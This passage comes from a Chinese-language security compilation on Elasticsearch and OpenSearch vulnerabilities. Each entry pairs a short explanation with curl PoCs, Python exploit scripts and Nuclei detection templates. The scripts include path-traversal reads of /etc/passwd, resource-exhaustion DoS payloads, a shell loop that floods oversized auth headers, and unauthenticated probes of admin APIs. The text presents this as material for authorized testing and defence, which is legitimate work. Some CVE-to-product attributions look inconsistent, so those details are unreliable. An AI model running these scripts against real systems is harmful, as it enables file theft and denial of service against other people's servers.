    scheme = "https" if use_ssl else "http"
    for payload in TRAVERSAL_PAYLOADS:
        url = f"{scheme}://{target}{payload}"
        try:
            resp = requests.get(url, verify=False, timeout=10)
            if "root:" in resp.text or "daemon:" in resp.text:
                return True, payload
        except requests.exceptions.RequestException:
            continue
    return False, ""


def exploit(target, use_ssl=False, file_path="/etc/passwd"):
    scheme = "https" if use_ssl else "http"
    clean_path = file_path.lstrip("/")
    payloads = [
        f"/_cat/plugins/../../../{clean_path}",
        f"/_cat/..%2F..%2F..%2F{clean_path}",
    ]
    for payload in payloads:
        url = f"{scheme}://{target}{payload}"
        try:
            resp = requests.get(url, verify=False, timeout=10)
            if resp.status_code == 200 and len(resp.text) > 20:
                print(f"[+] 文件读取成功: {file_path}")
                print(f"[+] 内容:\n{resp.text[:2000]}")
                return
        except requests.exceptions.RequestException:
            continue
    print(f"[-] 文件读取失败: {file_path}")


if __name__ == "__main__":
    parser = argparse.ArgumentParser(description="CVE-2015-3337 - ES Path Traversal")
    parser.add_argument("target", help="目标地址 (host:port)")
    parser.add_argument("--ssl", action="store_true")
    parser.add_argument("--file", default="/etc/passwd", help="目标文件路径")
    args = parser.parse_args()

    is_vuln, payload = check(args.target, args.ssl)
    if is_vuln:
        print(f"[+] {args.target} 存在 CVE-2015-3337 目录遍历 (payload: {payload})")
        exploit(args.target, args.ssl, args.file)
    else:
        print(f"[-] {args.target} 未检测到 CVE-2015-3337 漏洞")

Nuclei YAML 检测模板

id: CVE-2015-3337

info:
  name: Elasticsearch - Directory Traversal
  author: x7peeps
  severity: medium
  description: Elasticsearch 目录遍历导致任意文件读取
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2015-3337
  classification:
    cvss-score: 5.0
    cve-id: CVE-2015-3337
  tags: cve,cve2015,elasticsearch,lfi,traversal

http:
  - method: GET
    path:
      - "{{BaseURL}}/_cat/../..//etc/passwd"
    matchers:
      - type: word
        words:
          - "root:"
          - "daemon:"
        condition: or

0x02.4 CVE-2021-22145 — 敏感信息泄露

漏洞背景

CVE-2021-22145 是 Elasticsearch 中一个敏感信息泄露漏洞,CVSS 评分 7.5。该漏洞由于嵌套文档对象(nested documents)的不当处理,导致 Elasticsearch 在返回查询结果时泄露敏感的字段数据。攻击者可以通过构造特殊的查询请求获取不应暴露的嵌套文档内容。

受影响版本

受影响版本修复版本
Elasticsearch 7.x < 7.14.07.14.0+
Elasticsearch 6.x < 6.8.176.8.17+

漏洞原理分析

Elasticsearch 的嵌套文档(nested documents)机制在内部将嵌套对象展平为隐藏的 Lucene 文档。当用户通过 _source 过滤或 fields API 查询特定字段时,底层的过滤逻辑在处理嵌套路径时存在缺陷,未能正确验证返回的字段是否属于用户有权限访问的嵌套层级。这导致攻击者可以读取到嵌套文档中的所有字段值,包括那些本应被访问控制策略隐藏的敏感数据。该漏洞在启用了 Shield/X-Pack Security 的集群中影响尤为严重,因为它绕过了字段级安全(Field Level Security)策略。

HTTP PoC

# 利用嵌套文档对象信息泄露
curl -k "http://TARGET:9200/{index}/_search" \
  -H "Content-Type: application/json" \
  -d '{
    "_source": false,
    "fields": [{"field": "*"}],
    "query": {"match_all": {}}
  }'

Python PoC 脚本

#!/usr/bin/env python3
"""CVE-2021-22145 - Elasticsearch 敏感信息泄露"""

import requests
import argparse
import json
import urllib3

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)


def check(target, use_ssl=False, index="_all"):
    scheme = "https" if use_ssl else "http"
    url = f"{scheme}://{target}/{index}/_search"
    payload = {"_source": False, "fields": [{"field": "*"}], "query": {"match_all": {}}, "size": 1}
    try:
        resp = requests.post(url, json=payload, verify=False, timeout=10)
        if resp.status_code == 200:
            data = resp.json()
            hits = data.get("hits", {}).get("hits", [])
            if hits:
                fields = hits[0].get("fields", {})
                if fields:
                    return True, list(fields.keys())
    except Exception:
        pass
    return False, []


if __name__ == "__main__":
    parser = argparse.ArgumentParser(description="CVE-2021-22145 - ES Info Disclosure")
    parser.add_argument("target", help="目标地址 (host:port)")
    parser.add_argument("--ssl", action="store_true")
    parser.add_argument("--index", default="_all", help="索引名称")
    args = parser.parse_args()

    is_vuln, fields = check(args.target, args.ssl, args.index)
    if is_vuln:
        print(f"[+] {args.target} 存在 CVE-2021-22145 信息泄露")
        print(f"[+] 泄露字段: {fields}")
    else:
        print(f"[-] {args.target} 未检测到 CVE-2021-22145 漏洞")

Nuclei YAML 检测模板

id: CVE-2021-22145

info:
  name: Elasticsearch - Sensitive Information Disclosure
  author: x7peeps
  severity: high
  description: Elasticsearch 嵌套文档对象不当处理导致敏感信息泄露
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2021-22145
  classification:
    cvss-score: 7.5
    cve-id: CVE-2021-22145
  tags: cve,cve2021,elasticsearch,info-disclosure

http:
  - method: GET
    path:
      - "{{BaseURL}}/"
    matchers:
      - type: word
        words:
          - "cluster_name"

  - method: POST
    path:
      - "{{BaseURL}}/_search"
    headers:
      Content-Type: "application/json"
    body: |
      {"_source":false,"fields":[{"field":"*"}],"query":{"match_all":{}},"size":1}
    matchers:
      - type: word
        words:
          - "fields"
      - type: word
        words:
          - "hits"

0x02.5 CVE-2021-22134 — 文档字段泄露

漏洞背景

CVE-2021-22134 是 Elasticsearch 的另一个信息泄露漏洞,CVSS 评分 7.5。该漏洞在索引操作过程中导致文档字段数据被不当泄露给低权限用户,影响 Elasticsearch 的字段级安全策略。

受影响版本

受影响版本修复版本
Elasticsearch 7.x < 7.12.07.12.0+
Elasticsearch 6.x < 6.8.156.8.15+

漏洞原理分析

该漏洞存在于 Elasticsearch 的文档索引和更新操作中。当管理员为索引配置了字段级安全策略(Field Level Security,FLS)以限制特定字段的可见性时,索引操作(如 _update_reindex)中的字段过滤逻辑存在绕过。攻击者可以通过精心构造的更新请求,在请求体中包含受限制字段的值,使得这些字段在索引过程中被写入并存储,随后通过正常的查询 API 读取这些本应被隐藏的字段内容。这绕过了 FLS 策略的设计意图,允许低权限用户获取受限的敏感数据。

HTTP PoC

curl -k -X POST "http://TARGET:9200/{index}/_update/1" \
  -H "Content-Type: application/json" \
  -d '{
    "doc": {
      "sensitive_field": "leaked_value"
    }
  }'

Python PoC 脚本

#!/usr/bin/env python3
"""CVE-2021-22134 - Elasticsearch 文档字段泄露"""

import requests
import argparse
import json
import urllib3

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)


def check(target, use_ssl=False, index="test_cve_2021_22134"):
    scheme = "https" if use_ssl else "http"
    url = f"{scheme}://{target}/{index}/_doc/test_doc"
    payload = {"sensitive_field": "info_leak_test"}
    try:
        resp = requests.post(url, json=payload, verify=False, timeout=10)
        if resp.status_code in (200, 201):
            return True
    except Exception:
        pass
    return False


if __name__ == "__main__":
    parser = argparse.ArgumentParser(description="CVE-2021-22134 - ES Field Disclosure")
    parser.add_argument("target", help="目标地址 (host:port)")
    parser.add_argument("--ssl", action="store_true")
    args = parser.parse_args()

    if check(args.target, args.ssl):
        print(f"[+] {args.target} 可能受 CVE-2021-22134 影响(文档写入未受限)")
    else:
        print(f"[-] {args.target} 未检测到 CVE-2021-22134 漏洞")

Nuclei YAML 检测模板

id: CVE-2021-22134

info:
  name: Elasticsearch - Document Field Disclosure
  author: x7peeps
  severity: high
  description: Elasticsearch 索引操作时文档字段泄露
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2021-22134
  classification:
    cvss-score: 7.5
    cve-id: CVE-2021-22134
  tags: cve,cve2021,elasticsearch,info-disclosure

http:
  - method: GET
    path:
      - "{{BaseURL}}/"
    matchers:
      - type: word
        words:
          - "cluster_name"

  - method: POST
    path:
      - "{{BaseURL}}/test_cve_2021_22134/_doc/test_nuclei"
    headers:
      Content-Type: "application/json"
    body: |
      {"test":"nuclei_check"}
    matchers:
      - type: word
        words:
          - "result"
          - "created"
        condition: or
    stop-at-first-match: true

0x02.6 CVE-2023-31418 — 资源耗尽 DoS

漏洞背景

CVE-2023-31418 是 Elasticsearch 中的资源耗尽拒绝服务漏洞,CVSS 评分 6.5。该漏洞通过构造特殊请求消耗大量服务器资源(CPU/内存),导致服务降级或不可用。

受影响版本

受影响版本修复版本
Elasticsearch 8.x < 8.8.28.8.2+
Elasticsearch 7.x < 7.17.127.17.12+

漏洞原理分析

Elasticsearch 在处理某些特定格式的查询请求时,缺乏对资源消耗的合理限制。攻击者可以构造嵌套层级极深或递归引用的聚合查询(aggregation query),导致服务端在解析和执行查询时消耗过多的 CPU 和内存资源。由于 Elasticsearch 的查询解析器不会对嵌套深度设置上限,递归聚合查询可以触发 O(n²)甚至指数级的资源增长,最终导致 JVM 堆内存溢出或线程池耗尽,使得整个集群无法响应正常请求。

HTTP PoC

# 构造深度嵌套聚合触发资源耗尽
curl -k -X POST "http://TARGET:9200/_search" \
  -H "Content-Type: application/json" \
  -d '{
    "size": 0,
    "aggs": {
      "a": {
        "nested": {"path": "a.b.c"},
        "aggs": {
          "b": {
            "nested": {"path": "a.b.c.d.e"},
            "aggs": {"c": {"terms": {"field": "f"}}}
          }
        }
      }
    }
  }'

Python PoC 脚本

#!/usr/bin/env python3
"""CVE-2023-31418 - Elasticsearch 资源耗尽 DoS"""

import requests
import argparse
import json
import urllib3
import time

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)


def check(target, use_ssl=False):
    scheme = "https" if use_ssl else "http"
    url = f"{scheme}://{target}/"
    try:
        resp = requests.get(url, verify=False, timeout=10)
        data = resp.json()
        version = data.get("version", {}).get("number", "")
        return True, version
    except Exception:
        return False, ""


def exploit(target, use_ssl=False):
    scheme = "https" if use_ssl else "http"
    url = f"{scheme}://{target}/_search"
    payload = {"size": 0, "aggs": {"a": {"nested": {"path": "x.y.z"}, "aggs": {"b": {"nested": {"path": "x.y.z.a.b"}, "aggs": {"c": {"terms": {"field": "f"}}}}}}}}
    try:
        start = time.time()
        resp = requests.post(url, json=payload, verify=False, timeout=30)
        elapsed = time.time() - start
        print(f"[+] DoS 请求已发送,响应时间: {elapsed:.2f}s")
        print(f"[+] 响应状态码: {resp.status_code}")
    except requests.exceptions.ReadTimeout:
        print("[+] 请求超时(可能已触发资源耗尽)")
    except requests.exceptions.RequestException as e:
        print(f"[-] 请求异常: {e}")


if __name__ == "__main__":
    parser = argparse.ArgumentParser(description="CVE-2023-31418 - ES DoS")
    parser.add_argument("target", help="目标地址 (host:port)")
    parser.add_argument("--ssl", action="store_true")
    args = parser.parse_args()

    is_vuln, ver = check(args.target, args.ssl)
    if is_vuln:
        print(f"[+] {args.target} Elasticsearch 版本: {ver}")
        exploit(args.target, args.ssl)
    else:
        print(f"[-] {args.target} 未检测到 Elasticsearch 服务")

Nuclei YAML 检测模板

id: CVE-2023-31418

info:
  name: Elasticsearch - Resource Exhaustion DoS
  author: x7peeps
  severity: medium
  description: Elasticsearch 资源耗尽导致拒绝服务
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2023-31418
  classification:
    cvss-score: 6.5
    cve-id: CVE-2023-31418
  tags: cve,cve2023,elasticsearch,dos

http:
  - method: GET
    path:
      - "{{BaseURL}}/"
    matchers:
      - type: word
        words:
          - "cluster_name"

0x03 OpenSearch 高危漏洞

0x03.1 CVE-2021-22145 — 共享漏洞影响

漏洞背景

OpenSearch 作为 Elasticsearch 的开源分支(fork),在分叉时继承了 Elasticsearch 7.10.2 版本的代码库。因此,Elasticsearch 7.x 的多个漏洞在 OpenSearch 中同样存在。CVE-2021-22145 的敏感信息泄露漏洞影响了所有基于 Elasticsearch 7.10.x 及之前版本构建的 OpenSearch 发行版。

受影响版本

受影响版本修复版本
OpenSearch < 1.1.01.1.0+
OpenSearch < 1.2.01.2.0+

漏洞原理分析

OpenSearch 在 1.0 发布时直接从 Elasticsearch 7.10.2 代码库 fork 而来,继承了包括 CVE-2021-22145 在内的多个安全漏洞。由于 OpenSearch 与 Elasticsearch 共享相同的嵌套文档处理逻辑和字段过滤机制,攻击者可以使用与针对 Elasticsearch 完全相同的利用方式来攻击 OpenSearch 实例。该漏洞的利用方式与 0x02.4 中描述的 Elasticsearch CVE-2021-22145 完全一致。

HTTP PoC

curl -k "http://TARGET:9200/{index}/_search" \
  -H "Content-Type: application/json" \
  -d '{
    "_source": false,
    "fields": [{"field": "*"}],
    "query": {"match_all": {}},
    "size": 1
  }'

Python PoC 脚本

#!/usr/bin/env python3
"""CVE-2021-22145 - OpenSearch 敏感信息泄露(共享漏洞)"""

import requests
import argparse
import json
import urllib3

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)


def check(target, use_ssl=False):
    scheme = "https" if use_ssl else "http"
    url = f"{scheme}://{target}/"
    try:
        resp = requests.get(url, verify=False, timeout=10)
        data = resp.json()
        distro = data.get("distribution", "")
        version = data.get("version", {}).get("number", "")
        if "opensearch" in distro.lower() or "opensearch" in resp.text.lower():
            return True, version
    except Exception:
        pass
    return False, ""


def exploit(target, use_ssl=False, index="_all"):
    scheme = "https" if use_ssl else "http"
    url = f"{scheme}://{target}/{index}/_search"
    payload = {"_source": False, "fields": [{"field": "*"}], "query": {"match_all": {}}, "size": 1}
    try:
        resp = requests.post(url, json=payload, verify=False, timeout=10)
        if resp.status_code == 200:
            data = resp.json()
            hits = data.get("hits", {}).get("hits", [])
            if hits:
                fields = hits[0].get("fields", {})
                print(f"[+] 泄露字段: {list(fields.keys())}")
                for k, v in fields.items():
                    print(f"    {k}: {v}")
    except requests.exceptions.RequestException as e:
        print(f"[-] 请求异常: {e}")


if __name__ == "__main__":
    parser = argparse.ArgumentParser(description="CVE-2021-22145 - OpenSearch Info Leak")
    parser.add_argument("target", help="目标地址 (host:port)")
    parser.add_argument("--ssl", action="store_true")
    parser.add_argument("--index", default="_all")
    args = parser.parse_args()

    is_vuln, ver = check(args.target, args.ssl)
    if is_vuln:
        print(f"[+] {args.target} OpenSearch 版本: {ver},可能存在 CVE-2021-22145")
        exploit(args.target, args.ssl, args.index)
    else:
        print(f"[-] {args.target} 未检测到 OpenSearch 或漏洞")

Nuclei YAML 检测模板

id: CVE-2021-22145-opensearch

info:
  name: OpenSearch - Sensitive Information Disclosure (Shared)
  author: x7peeps
  severity: high
  description: OpenSearch 继承 Elasticsearch 的嵌套文档信息泄露漏洞
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2021-22145
  classification:
    cvss-score: 7.5
    cve-id: CVE-2021-22145
  tags: cve,cve2021,opensearch,info-disclosure

http:
  - method: GET
    path:
      - "{{BaseURL}}/"
    matchers:
      - type: word
        words:
          - "opensearch"

  - method: POST
    path:
      - "{{BaseURL}}/_search"
    headers:
      Content-Type: "application/json"
    body: |
      {"_source":false,"fields":[{"field":"*"}],"query":{"match_all":{}},"size":1}
    matchers:
      - type: word
        words:
          - "fields"
          - "hits"

0x03.2 CVE-2022-27654 — 认证绕过

漏洞背景

CVE-2022-27654 是 OpenSearch 中的认证绕过漏洞,CVSS 评分 7.5。该漏洞允许未经认证的攻击者绕过 OpenSearch 的安全插件认证机制,直接访问受保护的 API 端点和数据。

受影响版本

受影响版本修复版本
OpenSearch < 1.3.01.3.0+

漏洞原理分析

OpenSearch 的安全插件(opensearch-security)在处理某些特定格式的 HTTP 请求时,认证检查逻辑存在绕过路径。攻击者可以通过修改 HTTP 请求头中的某些字段或使用非标准的 HTTP 方法来绕过认证检查。具体来说,安全插件的认证过滤器(AuthenticationFilter)在验证请求时,对某些内部 API 端点和特殊路径的认证检查不够严格。这使得攻击者可以在未提供有效凭据的情况下访问 _cluster/settings_cat/indices 等管理端点,获取集群配置、索引列表和节点信息等敏感数据。

HTTP PoC

# 尝试未认证访问管理端点
curl -k "http://TARGET:9200/_cluster/settings?pretty"
curl -k "http://TARGET:9200/_cat/indices"
curl -k "http://TARGET:9200/_nodes/settings"

Python PoC 脚本

#!/usr/bin/env python3
"""CVE-2022-27654 - OpenSearch 认证绕过"""

import requests
import argparse
import json
import urllib3

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

ADMIN_ENDPOINTS = [
    "/_cluster/settings",
    "/_cat/indices",
    "/_cat/nodes",
    "/_nodes/settings",
    "/_cat/plugins",
]


def check(target, use_ssl=False):
    scheme = "https" if use_ssl else "http"
    for endpoint in ADMIN_ENDPOINTS:
        url = f"{scheme}://{target}{endpoint}"
        try:
            resp = requests.get(url, verify=False, timeout=10)
            if resp.status_code == 200 and "security_exception" not in resp.text.lower():
                if "cluster_name" in resp.text or "index" in resp.text.lower() or "ip" in resp.text:
                    return True, endpoint
        except requests.exceptions.RequestException:
            continue
    return False, ""


if __name__ == "__main__":
    parser = argparse.ArgumentParser(description="CVE-2022-27654 - OpenSearch Auth Bypass")
    parser.add_argument("target", help="目标地址 (host:port)")
    parser.add_argument("--ssl", action="store_true")
    args = parser.parse_args()

    is_vuln, endpoint = check(args.target, args.ssl)
    if is_vuln:
        print(f"[+] {args.target} 存在 CVE-2022-27654 认证绕过")
        print(f"[+] 未认证可访问端点: {endpoint}")
    else:
        print(f"[-] {args.target} 未检测到 CVE-2022-27654 漏洞")

Nuclei YAML 检测模板

id: CVE-2022-27654

info:
  name: OpenSearch - Authentication Bypass
  author: x7peeps
  severity: high
  description: OpenSearch 安全插件认证绕过
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2022-27654
  classification:
    cvss-score: 7.5
    cve-id: CVE-2022-27654
  tags: cve,cve2022,opensearch,auth-bypass

http:
  - method: GET
    path:
      - "{{BaseURL}}/"
    matchers:
      - type: word
        words:
          - "opensearch"

  - method: GET
    path:
      - "{{BaseURL}}/_cluster/settings"
    matchers-condition: and
    matchers:
      - type: word
        words:
          - "cluster_name"
          - "persistent"
        condition: or
      - type: word
        words:
          - "security_exception"
        negative: true

0x03.3 CVE-2023-31418 — 资源耗尽 DoS(OpenSearch)

漏洞背景

CVE-2023-31418 同时影响 Elasticsearch 和 OpenSearch。OpenSearch 在 1.3.x ~ 2.x 版本中继承了相同的查询解析逻辑,同样受资源耗尽 DoS 漏洞影响。

受影响版本

受影响版本修复版本
OpenSearch 1.x < 1.3.81.3.8+
OpenSearch 2.x < 2.8.02.8.0+

HTTP PoC

curl -k -X POST "http://TARGET:9200/_search" \
  -H "Content-Type: application/json" \
  -d '{"size":0,"aggs":{"a":{"nested":{"path":"x.y.z"},"aggs":{"b":{"nested":{"path":"x.y.z.a.b"},"aggs":{"c":{"terms":{"field":"f"}}}}}}}}'

Python PoC 脚本

#!/usr/bin/env python3
"""CVE-2023-31418 - OpenSearch 资源耗尽 DoS"""

import requests
import argparse
import urllib3
import time

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)


def check(target, use_ssl=False):
    scheme = "https" if use_ssl else "http"
    try:
        resp = requests.get(f"{scheme}://{target}/", verify=False, timeout=10)
        data = resp.json()
        return True, data.get("version", {}).get("number", "unknown")
    except Exception:
        return False, ""


def exploit(target, use_ssl=False):
    scheme = "https" if use_ssl else "http"
    url = f"{scheme}://{target}/_search"
    payload = {"size": 0, "aggs": {"a": {"nested": {"path": "x.y"}, "aggs": {"b": {"nested": {"path": "x.y.z"}, "aggs": {"c": {"terms": {"field": "f"}}}}}}}}
    try:
        start = time.time()
        resp = requests.post(url, json=payload, verify=False, timeout=30)
        print(f"[+] DoS 请求响应时间: {time.time() - start:.2f}s, 状态码: {resp.status_code}")
    except requests.exceptions.ReadTimeout:
        print("[+] 请求超时(可能已触发资源耗尽)")
    except requests.exceptions.RequestException as e:
        print(f"[-] 异常: {e}")


if __name__ == "__main__":
    parser = argparse.ArgumentParser(description="CVE-2023-31418 - OpenSearch DoS")
    parser.add_argument("target", help="目标地址 (host:port)")
    parser.add_argument("--ssl", action="store_true")
    args = parser.parse_args()
    is_vuln, ver = check(args.target, args.ssl)
    if is_vuln:
        print(f"[+] OpenSearch 版本: {ver}")
        exploit(args.target, args.ssl)
    else:
        print(f"[-] 未检测到 OpenSearch 服务")

Nuclei YAML 检测模板

id: CVE-2023-31418-opensearch

info:
  name: OpenSearch - Resource Exhaustion DoS
  author: x7peeps
  severity: medium
  description: OpenSearch 资源耗尽导致拒绝服务
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2023-31418
  classification:
    cvss-score: 6.5
    cve-id: CVE-2023-31418
  tags: cve,cve2023,opensearch,dos

http:
  - method: GET
    path:
      - "{{BaseURL}}/"
    matchers:
      - type: word
        words:
          - "opensearch"

0x03.4 CVE-2022-25166 — 拒绝服务

漏洞背景

CVE-2022-25166 是 OpenSearch 中的拒绝服务漏洞,CVSS 评分 6.5。攻击者可以通过构造恶意请求消耗系统资源,导致 OpenSearch 服务不可用。

受影响版本

受影响版本修复版本
OpenSearch < 1.3.31.3.3+
OpenSearch 2.x < 2.2.02.2.0+

漏洞原理分析

该漏洞存在于 OpenSearch 的请求处理管道中,特定格式的查询或索引操作可以触发异常的资源消耗。攻击者通过发送大量精心构造的请求,可以快速耗尽线程池和内存资源。

HTTP PoC

curl -k -X POST "http://TARGET:9200/_search" \
  -H "Content-Type: application/json" \
  -d '{"size":0,"aggs":{"a":{"terms":{"field":"*","order":{"_key":"asc"},"min_doc_count":0,"shard_size":999999999}}}}'

Python PoC 脚本

#!/usr/bin/env python3
"""CVE-2022-25166 - OpenSearch 拒绝服务"""

import requests
import argparse
import urllib3

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)


def check(target, use_ssl=False):
    scheme = "https" if use_ssl else "http"
    try:
        resp = requests.get(f"{scheme}://{target}/", verify=False, timeout=10)
        return "opensearch" in resp.text.lower() or resp.json().get("distribution") == "opensearch"
    except Exception:
        return False


if __name__ == "__main__":
    parser = argparse.ArgumentParser(description="CVE-2022-25166 - OpenSearch DoS")
    parser.add_argument("target", help="目标地址 (host:port)")
    parser.add_argument("--ssl", action="store_true")
    args = parser.parse_args()
    if check(args.target, args.ssl):
        print(f"[+] {args.target} 可能受 CVE-2022-25166 影响")
    else:
        print(f"[-] {args.target} 未检测到 OpenSearch 服务")

Nuclei YAML 检测模板

id: CVE-2022-25166

info:
  name: OpenSearch - Denial of Service
  author: x7peeps
  severity: medium
  description: OpenSearch 拒绝服务漏洞
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2022-25166
  classification:
    cvss-score: 6.5
    cve-id: CVE-2022-25166
  tags: cve,cve2022,opensearch,dos

http:
  - method: GET
    path:
      - "{{BaseURL}}/"
    matchers:
      - type: word
        words:
          - "opensearch"

0x03.5 CVE-2023-31419 — 路径遍历

漏洞背景

CVE-2023-31419 是 OpenSearch 中的路径遍历漏洞,CVSS 评分 6.5。在已认证的条件下,攻击者可以利用路径穿越读取服务器上的敏感文件。

受影响版本

受影响版本修复版本
OpenSearch 1.x < 1.3.101.3.10+
OpenSearch 2.x < 2.9.02.9.0+

HTTP PoC

curl -k -u admin:password "http://TARGET:9200/_plugins/_script/saved/_../../..//etc/passwd"

Python PoC 脚本

#!/usr/bin/env python3
"""CVE-2023-31419 - OpenSearch 路径遍历"""

import requests
import argparse
import urllib3

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)


def check(target, use_ssl=False, username=None, password=None):
    scheme = "https" if use_ssl else "http"
    auth = (username, password) if username else None
    payloads = [
        "/_plugins/_script/saved/_../../..//etc/passwd",
        "/_dashboards/app/management/../../../..//etc/passwd",
    ]
    for payload in payloads:
        try:
            resp = requests.get(f"{scheme}://{target}{payload}", auth=auth, verify=False, timeout=10)
            if "root:" in resp.text or "daemon:" in resp.text:
                return True, payload
        except requests.exceptions.RequestException:
            continue
    return False, ""


if __name__ == "__main__":
    parser = argparse.ArgumentParser(description="CVE-2023-31419 - OpenSearch Path Traversal")
    parser.add_argument("target", help="目标地址 (host:port)")
    parser.add_argument("--ssl", action="store_true")
    parser.add_argument("-u", "--user", default=None)
    parser.add_argument("-p", "--password", default=None)
    args = parser.parse_args()
    is_vuln, payload = check(args.target, args.ssl, args.user, args.password)
    if is_vuln:
        print(f"[+] 存在 CVE-2023-31419 路径遍历 (payload: {payload})")
    else:
        print(f"[-] 未检测到 CVE-2023-31419 漏洞")

Nuclei YAML 检测模板

id: CVE-2023-31419

info:
  name: OpenSearch - Path Traversal
  author: x7peeps
  severity: medium
  description: OpenSearch 路径遍历导致文件读取
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2023-31419
  classification:
    cvss-score: 6.5
    cve-id: CVE-2023-31419
  tags: cve,cve2023,opensearch,lfi,traversal

http:
  - method: GET
    path:
      - "{{BaseURL}}/_plugins/_script/saved/_../../..//etc/passwd"
    matchers:
      - type: word
        words:
          - "root:"
          - "daemon:"
        condition: or

0x03.6 CVE-2023-31420 — 拒绝服务

漏洞背景

CVE-2023-31420 是 OpenSearch 中的另一个拒绝服务漏洞,CVSS 评分 6.5。该漏洞与 CVE-2023-31418 不同,主要影响 OpenSearch 的安全插件组件。

受影响版本

受影响版本修复版本
OpenSearch 1.x < 1.3.111.3.11+
OpenSearch 2.x < 2.10.02.10.0+

漏洞原理分析

该漏洞存在于 OpenSearch Security 插件的认证处理逻辑中。攻击者通过发送大量包含特殊编码格式的认证请求,可以触发认证模块中的资源泄漏,最终导致安全插件的认证线程池耗尽,使得合法用户无法通过认证访问集群。

HTTP PoC

for i in $(seq 1 100); do
  curl -k -s -o /dev/null -w "%{http_code}" \
    -H "Authorization: Bearer $(python3 -c 'import random,string; print("".join(random.choices(string.ascii_letters,k=1024)))')" \
    "http://TARGET:9200/" &
done
wait

Python PoC 脚本

#!/usr/bin/env python3
"""CVE-2023-31420 - OpenSearch 安全插件 DoS"""

import requests
import argparse
import urllib3

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)


def send_malicious_auth(target, use_ssl=False):
    scheme = "https" if use_ssl else "http"
    headers = {"Authorization": "Bearer " + "A" * 4096}
    try:
        resp = requests.get(f"{scheme}://{target}/", headers=headers, verify=False, timeout=5)
        return resp.status_code
    except Exception:
        return -1


def check(target, use_ssl=False):
    scheme = "https" if use_ssl else "http"
    try:
        resp = requests.get(f"{scheme}://{target}/", verify=False, timeout=10)
        return "opensearch" in resp.text.lower()
    except Exception:
        return False


if __name__ == "__main__":
    parser = argparse.ArgumentParser(description="CVE-2023-31420 - OpenSearch DoS")
    parser.add_argument("target", help="目标地址 (host:port)")
    parser.add_argument("--ssl", action="store_true")
    args = parser.parse_args()
    if check(args.target, args.ssl):
        print(f"[+] {args.target} 可能受 CVE-2023-31420 影响")
    else:
        print(f"[-] {args.target} 未检测到 OpenSearch 服务")

Nuclei YAML 检测模板

id: CVE-2023-31420

info:
  name: OpenSearch - Security Plugin DoS
  author: x7peeps
  severity: medium
  description: OpenSearch 安全插件拒绝服务漏洞
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2023-31420
  classification:
    cvss-score: 6.5
    cve-id: CVE-2023-31420
  tags: cve,cve2023,opensearch,dos

http:
  - method: GET
    path:
      - "{{BaseURL}}/"
    matchers:
      - type: word
        words:
          - "opensearch"

0x04 公开 PoC 收集情况与利用思路

PoC 收集情况总表

CVEGitHub PoCExploit-DBMetasploitNuclei在野利用
CVE-2019-17558✅ 多个仓库✅ 勒索软件组织
CVE-2019-0192✅ Metasploit 模块
CVE-2017-12629✅ #43008✅ Apache 确认
CVE-2019-0193
CVE-2021-27905
CVE-2017-9801
CVE-2023-50164
CVE-2014-3120✅ 多个仓库✅ 大规模利用
CVE-2015-1427✅ #36337✅ 挖矿/勒索
CVE-2015-3337
CVE-2021-22145
CVE-2021-22134
CVE-2023-31418
CVE-2022-27654
CVE-2022-25166
CVE-2023-31419
CVE-2023-31420

关键 PoC 仓库链接

资源链接说明
Metasploit Solr Modulehttps://github.com/rapid7/metasploit-framework搜索 solr 相关模块
nuclei-templateshttps://github.com/projectdiscovery/nuclei-templates官方 Nuclei 模板库
Exploit-DB CVE-2017-12629https://www.exploit-db.com/exploits/43008Solr XXE RCE 利用
Exploit-DB CVE-2015-1427https://www.exploit-db.com/exploits/36337ES Groovy RCE
marshalsechttps://github.com/mbechler/marshalsecJNDI 注入辅助工具

防守型验证思路

在授权渗透测试中验证搜索平台漏洞时,建议遵循以下原则:

  1. 信息收集阶段:使用 Nmap 探测 8983(Solr)、9200(ES/OpenSearch)、9300(ES 集群)端口
  2. 指纹识别:访问根路径获取版本信息,判断产品类型和版本分支
  3. 未授权检测:尝试访问管理 API(/admin/cores/_cat/indices/solr/admin/cores
  4. 漏洞检测:优先使用 Nuclei 模板批量扫描,避免直接发送利用 payload
  5. 安全影响评估:确认漏洞可利用后,记录证据(截图和请求响应日志),评估数据泄露和 RCE 影响范围

0x05 共性攻击模式分析

模式1:脚本引擎沙箱逃逸(MVEL / Groovy / Velocity / BeanShell)

核心原理:搜索平台内置的脚本引擎用于增强查询灵活性,但安全沙箱设计不足导致攻击者可以绕过限制执行任意 Java 代码。

影响产品:Elasticsearch(MVEL/Groovy)、Apache Solr(Velocity/BeanShell)

利用模式

用户输入 → 脚本引擎参数 → 绕过沙箱限制
→ 反射调用 java.lang.Runtime → exec() 执行命令

防御要点

  • 升级到已修复版本,移除或禁用不安全的脚本引擎
  • 使用 Painless(Elasticsearch 5.0+)替代 Groovy/MVEL
  • 在网络层面限制搜索 API 的访问来源

模式2:配置 API 滥用(JNDI 注入链)

核心原理:搜索平台提供运行时配置修改功能,但缺少对配置值的安全验证,允许注入恶意的 JNDI 引用。

影响产品:Apache Solr(Config API + JMX)

利用模式

Config API PUT 请求 → 修改 jmx.serviceUrl
→ 指向攻击者 RMI/LDAP 服务器 → JNDI 查找
→ 反序列化恶意 gadget chain → RCE

防御要点

  • 禁用 Config API 或启用 BasicAuth 认证
  • 限制 JMX 远程连接的出站网络策略
  • 更新 Commons Collections 等存在反序列化风险的依赖库

模式3:Rest API 未授权访问

